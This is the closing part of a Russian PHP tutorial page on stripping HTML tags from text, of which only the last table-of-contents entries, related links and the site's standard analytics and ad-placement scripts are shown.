использовать функцию strip_tags() для удаления скриптов из текста?">Можно ли использовать функцию strip_tags() для удаления скриптов из текста?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-16" href="#%D0%9A%D0%B0%D0%BA%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%BB%D1%83%D1%87%D1%88%D0%B5_%D0%B4%D0%BB%D1%8F_%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B8%D0%B7_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_-_preg_replace_%D0%B8%D0%BB%D0%B8_strip_tags" title="Какая функция лучше для удаления тегов из текста - preg_replace() или strip_tags()?">Какая функция лучше для удаления тегов из текста - preg_replace() или strip_tags()?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-17" href="#%D0%95%D1%81%D1%82%D1%8C_%D0%BB%D0%B8_%D0%B2%D0%BE%D0%B7%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D1%83%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C_%D1%82%D0%B5%D0%B3%D0%B8_%D1%82%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE_%D0%B8%D0%B7_%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9_%D1%87%D0%B0%D1%81%D1%82%D0%B8_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0" title="Есть ли возможность удалить теги только из определенной части текста?">Есть ли возможность удалить теги только из определенной части текста?</a></li></ul></li></ul></li></ul></nav></div> </div> </article> <div class="post-meta"> <div class="post-share"> <div class="post-share__title">Поделиться с друзьями:</div> <div class="likely"> <div class="twitter">Твитнуть</div> <div class="facebook">Поделиться</div> <div class="vkontakte">Поделиться</div> <div class="telegram">Отправить</div> <div class="odnoklassniki">Класснуть</div> </div> </div> </div> <meta itemprop="headline" content="Как удалить все HTML-теги из текста в PHP: пошаговое руководство"> <meta itemprop="author" content="Zdron"> <meta itemprop="datePublished" content="2018-06-25"> <meta itemprop="dateModified" content="2023-06-14"> <a itemprop="url" href="https://zdrons.ru/veb-programmirovanie/kak-udalit-vse-html-tegi-iz-teksta-v-php-poshagovoe-rukovodstvo/" style="display:none">Как удалить все HTML-теги из текста в PHP: пошаговое руководство</a> <a itemprop="mainEntityOfPage" href="https://zdrons.ru/veb-programmirovanie/kak-udalit-vse-html-tegi-iz-teksta-v-php-poshagovoe-rukovodstvo/" style="display:none">Ссылка на основную публикацию</a> <div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"> <img itemprop="url" src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_320x200.jpg" alt="Как удалить все HTML-теги из текста в PHP: пошаговое руководство"> <meta itemprop="width" content="320"> <meta itemprop="height" content="200"> </div> <div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"> <meta itemprop="name" content="ZDRONS.RU"> <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <img itemprop="url" src="http://zdrons.ru/wp-content/uploads/2020/07/zdrons-logo.jpg" alt="ZDRONS.RU"> </div> </div> </div><!-- .article-wrap --> <div class='yarpp-related'> <h3>Еще статьи:</h3><ol> <li><a href="https://zdrons.ru/veb-programmirovanie/kak-ispolzovat-php-switch-case-dlya-raboty-s-neskolkimi-znacheniyami-podrobnyj-gajd/" rel="bookmark" title="Как использовать Php switch case для работы с несколькими значениями: подробный гайд">Как использовать Php switch case для работы с несколькими значениями: подробный гайд </a></li> <li><a href="https://zdrons.ru/veb-programmirovanie/kak-obnovit-php-na-openserver-podrobnaya-instrukciya/" rel="bookmark" title="Как обновить php на OpenServer: подробная инструкция">Как обновить php на OpenServer: подробная инструкция </a></li> <li><a href="https://zdrons.ru/veb-programmirovanie/razbienie-teksta-na-stroki-v-php-prosto-i-bystro/" rel="bookmark" title="Разбиение текста на строки в PHP: просто и быстро">Разбиение текста на строки в PHP: просто и быстро </a></li> <li><a href="https://zdrons.ru/veb-programmirovanie/konvertaciya-dannyh-html-formy-v-rtf-s-pomoshhju-php-podrobnyj-gajd/" rel="bookmark" title="Конвертация данных HTML-формы в RTF с помощью PHP: подробный гайд.">Конвертация данных HTML-формы в RTF с помощью PHP: подробный гайд. </a></li> <li><a href="https://zdrons.ru/veb-programmirovanie/avtomaticheskij-perehod-na-druguju-stranicu-s-pomoshhju-php-podrobnyj-gajd/" rel="bookmark" title="Автоматический переход на другую страницу с помощью PHP: подробный гайд">Автоматический переход на другую страницу с помощью PHP: подробный гайд </a></li> </ol> </div> <aside class="comments-block"> <div id="respond" class="respond"> <div class="respond__title">Добавить комментарий</div> <div id="cancel-comment-reply"><a rel="nofollow" id="cancel-comment-reply-link" href="/veb-programmirovanie/kak-udalit-vse-html-tegi-iz-teksta-v-php-poshagovoe-rukovodstvo/#respond" style="display:none;">Нажмите, чтобы отменить ответ.</a></div> <!--noindex--> <form action="https://zdrons.ru/wp-comments-post.php" method="post" class="respond-form"> <input type="text" name="author" id="author" placeholder="Ваше имя:" class="respond-form__field respond-form__name" value="" aria-required='true' /> <input type="text" name="email" id="email" placeholder="Ваш e-mail:" class="respond-form__field respond-form__email" value="" aria-required='true' /> <input type="text" name="url" id="url" placeholder="Ваш сайт:" class="respond-form__field respond-form__site" value="" /> <textarea name="comment" id="comment_textarea" rows="7" placeholder="Ваш комментарий:" class="respond-form__text respond-form__textarea"></textarea> <input name="submit" type="submit" class="respond-form__button" value="Отправить" /> <input type='hidden' name='comment_post_ID' value='20450' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /> </form> <!--/noindex--> </div><!-- #respond --> </aside> </main> <aside class="sidebar sidebar_midle"> <div class="widget_text section section_widget widget_custom_html"><div class="textwidget custom-html-widget"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3967411154464684" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-3967411154464684" data-ad-slot="5926433654" data-ad-format="auto" data-full-width-responsive="true"></ins> <script>(adsbygoogle = window.adsbygoogle || []).push({});</script></div></div><div class="section-posts-box section"><div class="title">Популярные статьи</div><div class="section-posts"><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="A 4228 newthread php do: что это такое и как использовать?" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/a-4228-newthread-php-do-chto-eto-takoe-i-kak-ispolzovat/">A 4228 newthread php do: что это такое и как использовать?</a></div><div class="section-posts__item-text"> A 4228 newthread php do - это функция, используемая на...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Гостевая книга с регистрацией в PHP: использование инструмента inurl guestbook php act reg" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/gostevaya-kniga-s-registraciej-v-php-ispolzovanie-instrumenta-inurl-guestbook-php-act-reg/">Гостевая книга с регистрацией в PHP: использование инструмента inurl guestbook php act reg</a></div><div class="section-posts__item-text"> Узнайте, как создать гостевую книгу с регистрацией на PHP, используя...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Гостевые книги в формате inurl guestbook php act the: полное руководство" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/gostevye-knigi-v-formate-inurl-guestbook-php-act-the-polnoe-rukovodstvo/">Гостевые книги в формате inurl guestbook php act the: полное руководство</a></div><div class="section-posts__item-text"> В статье рассматривается использование гостевых книг в формате inurl guestbook...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div></div></div><div class="widget_text section section_widget widget_custom_html"><div class="title">Популярные Бренды на OS Android</div><div class="textwidget custom-html-widget"><ul><li><a href="https://zdrons.ru/?s=Samsung">Samsung</a></li><li><a href="https://zdrons.ru/?s=Huawei">Huawei</a></li><li><a href="https://zdrons.ru/?s=Xiaomi">Xiaomi</a></li><li><a href="https://zdrons.ru/?s=Honor">Honor</a></li><li><a href="https://zdrons.ru/?s=LG">LG</a></li><li><a href="https://zdrons.ru/?s=Meizu">Meizu</a></li><li><a href="https://zdrons.ru/?s=Lenovo">Lenovo</a></li><li><a href="https://zdrons.ru/?s=ZTE">ZTE</a></li><li><a href="https://zdrons.ru/?s=Nokia">Nokia</a></li><li><a href="https://zdrons.ru/?s=Philips">Philips</a></li><li><a href="https://zdrons.ru/?s=Prestigio">Prestigio</a></li></ul></div></div></aside></div></div><footer class="footer" id="footer"><nav class="footer-nav"><ul><li id="menu-item-13616" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-13616"><a href="https://zdrons.ru/ob-avtore/">Об авторе</a></li><li id="menu-item-9724" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9724"><a href="https://zdrons.ru/spisok-statej-sajta/">Список статей сайта</a></li><li id="menu-item-14015" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14015"><a href="https://zdrons.ru/polzovatelskoe-soglashenie/">Пользовательское соглашение</a></li><li id="menu-item-14016" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14016"><a href="https://zdrons.ru/politika-konfidencialnosti/">Политика конфиденциальности</a></li></ul></nav><div class="footer-bottom"><div class="copy">© 2024 Все права защищены.</div></div></footer></div> <script type='text/javascript' id='contact-form-7-js-extra'>var wpcf7 = {"apiSettings":{"root":"https:\/\/zdrons.ru\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"}};</script> <script type='text/javascript' id='jquery-lazyloadxt-js-extra'>var a3_lazyload_params = {"apply_images":"1","apply_videos":"1"};</script> <script type='text/javascript' id='jquery-lazyloadxt-extend-js-extra'>var a3_lazyload_extend_params = {"edgeY":"0","horizontal_container_classnames":""};</script> <script type='text/javascript' id='ez-toc-js-js-extra'>var ezTOC = {"smooth_scroll":"1","visibility_hide_by_default":"","width":"auto","scroll_offset":"30"};</script> <script type="text/javascript" >(function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter57878959 = new Ya.Metrika({ id:57878959, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true, trackHash:true, ecommerce:"dataLayer" }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks");</script> <noscript><div><img src="https://mc.yandex.ru/watch/57878959" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=l.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#ads'+'ense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 